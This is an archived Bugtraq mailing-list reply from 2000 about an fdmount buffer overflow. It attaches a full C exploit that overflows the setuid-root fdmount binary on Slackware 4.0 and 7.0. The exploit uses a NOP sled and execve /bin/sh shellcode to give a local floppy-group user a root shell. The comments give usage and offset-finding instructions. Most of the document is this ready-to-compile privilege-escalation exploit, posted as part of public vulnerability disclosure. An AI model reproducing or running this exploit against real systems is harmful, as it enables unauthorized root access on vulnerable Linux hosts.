[15003] in bugtraq

home help back first fref pref prev next nref lref last post

Re: fdmount buffer overflow

daemon@ATHENA.MIT.EDU (Cami)
Tue May 23 14:41:56 2000

Mime-Version: 1.0
Content-Type: multipart/mixed;
              boundary="----=_NextPart_000_000F_01BFC47D.45AD3AC0"
Message-Id:  <001201bfc46c$82fe9e20$edb31ec4@terotech>
Date:         Tue, 23 May 2000 06:08:10 +0200
Reply-To: Cami <camis@QTTECH.CO.ZA>
From: Cami <camis@QTTECH.CO.ZA>
X-To:         BUGTRAQ@SECURITYFOCUS.COM
To: BUGTRAQ@SECURITYFOCUS.COM

This is a multi-part message in MIME format.

------=_NextPart_000_000F_01BFC47D.45AD3AC0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

| I searched the archives and did not find this one.
|
| Program : fdmount
| Version : 0.8
| OS      : linux Slackware 7.0 (maybe others)

Check attachment for the overflow, works on Slackware 4.0 and 7.0.
The exploit code attached was coded by Scrippie of buffer0verfl0w security.
(it was posted/released on www.hack.co.za on the 18th may, so its no
 longer private/unknown.)

++C

------=_NextPart_000_000F_01BFC47D.45AD3AC0
Content-Type: application/octet-stream;
	name="fdmnt-smash2.c"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="fdmnt-smash2.c"

/*
   Welcome dear reader - be it scriptkiddy, whose sole intent it is to
   destroy precious old Unix boxes or Assembly Wizard whose sole intent =
it
   is to correct my code and send me a flame.

   The fdutils package contains a setuid root file that is used by the =
floppy
   group to mount and unmount floppies. If you are not in this group, =
this
   exploit will not work.

   This thingy was tested on Slackware 4.0 and 7.0

   Use as: fdmount-exp [offset] [buf size] [valid text ptr]

   Since the char * text is overwritten in void errmsg(char *text) we =
should
   make sure that this points to a valid address (something in the .data
   section should do perfectly). The hard coded one used works on my =
box,
   to find the one you need use something like:

   objdump --disassemble-all $(whereis -b fdmount) | grep \<.data\> \
   cut -d " " -f1

   The HUGE number of nops is needed to make sure this exploit works.
   Since it Segfaults out of existence without removing /etc/mtab~ we
   only get one try...

   Take care with your newly aquired EUID 0!

   Cheers go out to: #phreak.nl #b0f #hit2000 #root66
   The year 2000 scriptkiddie award goed to: Gerrie Mansur
   Love goes out to: Hester, Maja (you're so cute!), Dopey

   -- Yours truly,
		Scrippie - ronald@grafix.nl - buffer0verfl0w security
                                            - #phreak.nl
*/

#include <stdio.h>

#define NUM_NOPS 500

// Gee, Aleph1 his shellcode is back once more

char shellcode[] =3D
   "\x31\xc0\xb0\x17\x31\xdb\xcd\x80"
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp, %eax");
}

main(int argc, char **argv)
{
   int buf_size =3D 71;
   int offset=3D0, i;

   char *overflow;
   char *ovoff;
   long addr, ptr=3D0x0804c7d0;

   if(argc>1) offset =3D atoi(argv[1]);
   if(argc>2) buf_size =3D atoi(argv[2]);
   if(argc>3) ptr =3D strtol(argv[3], (char **) NULL, 16);

   printf("##############################################\n");
   printf("# fdmount Slack 4/7 exploit  -  by Scrippie  #\n");
   printf("##############################################\n");
   printf("Using offset: %d\n", offset);
   printf("Using buffer size: %d\n", buf_size);
   printf("Using 0x%x for \"void errmsg(char *text,...)\" char *text\n", =
ptr);

   if(!(overflow =3D (char =
*)malloc(buf_size+16+NUM_NOPS+strlen(shellcode)))) {
      fprintf(stderr, "Outta memory - barging out\n");
      exit(-1);
   }

   overflow[0] =3D '/';

   for(i=3D1;i<buf_size;i++) {
      overflow[i] =3D 0x90;
   }

   addr =3D get_sp() - offset;

   printf("Resulting address: 0x%x\n", addr);

   memcpy(overflow + strlen(overflow), (void *) &addr, 4);
   memcpy(overflow + strlen(overflow), (void *) &ptr, 4);
   memcpy(overflow + strlen(overflow), (void *) &ptr, 4);
   memcpy(overflow + strlen(overflow), (void *) &ptr, 4);

   ovoff =3D overflow + strlen(overflow);

   for(i=3D0;i<NUM_NOPS;i++) {
      *ovoff =3D 0x90;
      *ovoff++;
   }

   strcpy(ovoff, shellcode);

   execl("/usr/bin/fdmount", "fdmount", "fd0", overflow, NULL);

   return 0;
}
/*                    www.hack.co.za           [18 May]*/
------=_NextPart_000_000F_01BFC47D.45AD3AC0--

home help back first fref pref prev next nref lref last post